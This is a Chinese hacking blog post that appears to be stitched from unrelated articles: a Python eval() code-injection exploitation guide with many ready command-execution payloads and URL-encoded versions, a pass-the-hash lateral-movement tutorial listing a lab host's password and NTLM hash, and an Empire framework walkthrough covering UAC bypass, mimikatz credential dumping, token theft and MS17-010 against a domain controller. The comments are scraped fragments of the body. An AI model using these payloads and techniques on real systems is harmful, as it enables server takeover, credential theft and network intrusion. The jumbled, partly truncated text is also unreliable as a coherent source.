作者:hacker 日期:2022-10-25 分类:网站入侵
如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。
在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。
横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。
Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。
常常适用于域/工作组环境。
靶机:windows server 2008
IP:10.211.55.19
domain:workgroup
user:administrator
pass:cseroad@2008
NTLM-Hash:82c58d8cec50de01fd109613369c158e
psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是: 通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。
如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec
缺点:容易被杀软检测到
优点:可以直接获取system权限
因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。
mimikatz中pth功能的原理:
windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。
正常访问server 2008 的盘符是需要用户名密码的。
在windows7上经过pth之后就不需要密码就可以远程连接。
将获取的hash添加进lsass中。
在windows 7 上执行以下命令:
执行后会弹出cmd。在cmd下执行 net use \\10.211.55.19\c$ 命令就可以远程连接。
扩展:
假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。
powershell.bat为
当重启10.211.55.8机器后,metasploit可得到session
笔者经常使用时的是这三个模块
以exploit/windows/smb/psexec模块为例
值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)
成功返回system权限。
CobalStrike 同样有psexec选项。
在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。
选择View--Target--Login--psexec,可批量选择主机pth。
选择pth的用户名和hash值。
从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。
该工具可以对C段主机批量pth。
项目在 github
在kali上直接apt就可以安装
对工作组批量pth命令如下
测试的时候发现某些命令执行后没有回显。
更多资料参考:
CrackMapExec:域环境渗透中的瑞士军刀
红队测试工具-CrackMapExec-远程执行Windows命令
wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。
安装成功后,切换到examples目录下
运行命令为
先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法
如果要执行系统命令。可以加-Command 参数
执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。
在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
以上所有操作均针对的SID 500。
内网渗透之PTHPTTPTK
横向移动
丢掉PSEXEC来横向渗透
自从powershell在windows开始预装之后,就成为Windows内网渗透的好帮手,好处多多:天生免杀、无文件落地、 无日志(雾) 。
于是老外开发了 empire 框架,毕竟 cobalt strike 要收费的不是?
功能模块丰富,老外把内网[域]渗透中能用到的都整合进去了:内网探测,提权,凭据获取,横向移动,权限维持。模块那么多,不懂就 searchmodule 或者[tab]两下。
基于 debian 系的,如kali或者ubuntu都可以安装。
git clone
在执行安装脚本之前,建议修改软件源和 pip 源,避免因为网络问题安装失败。
sudo ./setup/install.sh
安装好后执行 ./empire 后就可以用了。
先查看可用的 Listener 有哪些?[tab]两下就出来了所有可用的。
通过 info 查看指定模块的配置信息
这里还是先使用http的监听,通过 set Port 8080 修改监听的端口, 2.x版必须同时设置 Host ,然后 execute 启动监听。
通过list命令查看正在运行的监听
可以通过usestager来生成文件,引诱对方运行,可以看到支持linux、Windows、osx。
这里我们选用launcher_bat,通过 info 查看可以配置的参数。
这里需要注意的是Listener的Name,必须跟前面启用的Listener的一致。
生成的文件内容是这样子的
其中那么一大段的powershell命令,跟 (Empire: listeners) launcher powershell test 的执行结果是一样的。这里先不关心怎么让其在别的机子上运行,那是另外的技术活。
用win7的cmd执行了那一串命令后,进程中可以看到有powershell.exe
执行 agents 命令查看回连的机子,然后 interact BNR1T9ZC 来与之进行交互。
通过 help 命令可以查看到在agent上可以执行很多命令。这里挑些重要的讲。
bypassuac ,顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择 run as administrator 才能运行,这都是uac作的怪。
因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。
sc,屏幕截图命令,可以通过这个了解机子上的人正在做什么。
我们看看usemodule还有哪些可用的模块?(有些模块需要对应权限才能成功运行)
输入 help agentcmds 可以看到可供使用的常用命令
执行 ipconfig 查看网卡信息(如果不在help列表中,那么会自动执行远程主机上的可用命令)
可以看到dns的ip是1.1.1.10,既是域控的ip
当你获得一个会话之后,又想要派生更多会话,怎么办?
使用 invoke_shellcode 来注入 meterpreter 的shellcode
metasploit先要设置一个 listener
然后empire执行
成功获取meterpreter会话(才怪, empire2.5 版本)
在session1建立到1.1.1.0/24网段的路由跳转
run autoroute -s 1.1.1.0/24
通过sesesion1打通网段后,可以看到域控服务器1.1.1.10开放的端口
使用ms17010成功获取meterpreter会话。
至此,域控拿下,可以开始漫游内网。(还是得靠metasploit,单一个empire做的事情很有限)
获取域管理员的明文凭据
用后渗透模块 credential_collector 收集可用的凭据
empire 可以直接使用 mimikatz 来获取凭据。 注意,此时客户端上powershell进程占用的cpu可达90%,会引起卡顿
creds 查看获取的凭据
利用pth来传递hash,用这个hash创建一个新的进程,可以看到新的进程id是3032
然后 credentials/tokens 查看不同用户的进程id
对指定进程steal_token之后,再去与agent交互就是域用户user的权限了。
用revtoself再切换回原来的权限(普通域用户权限太低做不了什么)
到这里尝试了好几个 situational_awareness/network/powerview 的模块返回的都是空结果,看来是需要域管理员才能执行成功。
碰巧域管理员也登陆这台机子,那么就能用他的权限做很多事情了。
也可以使用 usemodule management/psinject 进行切换,设置好ProcessId即可
现在我们又获得了一次域管理员权限,可以开始横向移动了。
先内网探测下可用的机子有哪些,使用了 situational_awareness 中的三个模块:
find_localadmin_access user_hunter get_domain_controller
又一次可以确定1.1.1.10就是域控所在了。用 lateral_movement/invoke_psexec 移动到域控服务器上面。
终于又回到了域控服务器,接下来要考虑的是如何导出域控上面的所有hash,并且维持权限。
已有3位网友发表了看法:
访客 评论于 [2022-10-25 10:31:41] 回复
的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。 横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。 Pass The Hash 哈希传递简称PTH,可以
访客 评论于 [2022-10-25 12:11:07] 回复
',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:eval(compile("""for x in range(
访客 评论于 [2022-10-25 08:34:28] 回复
动编码。除此之外,你也可以直接使用我们所开发的工具。如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()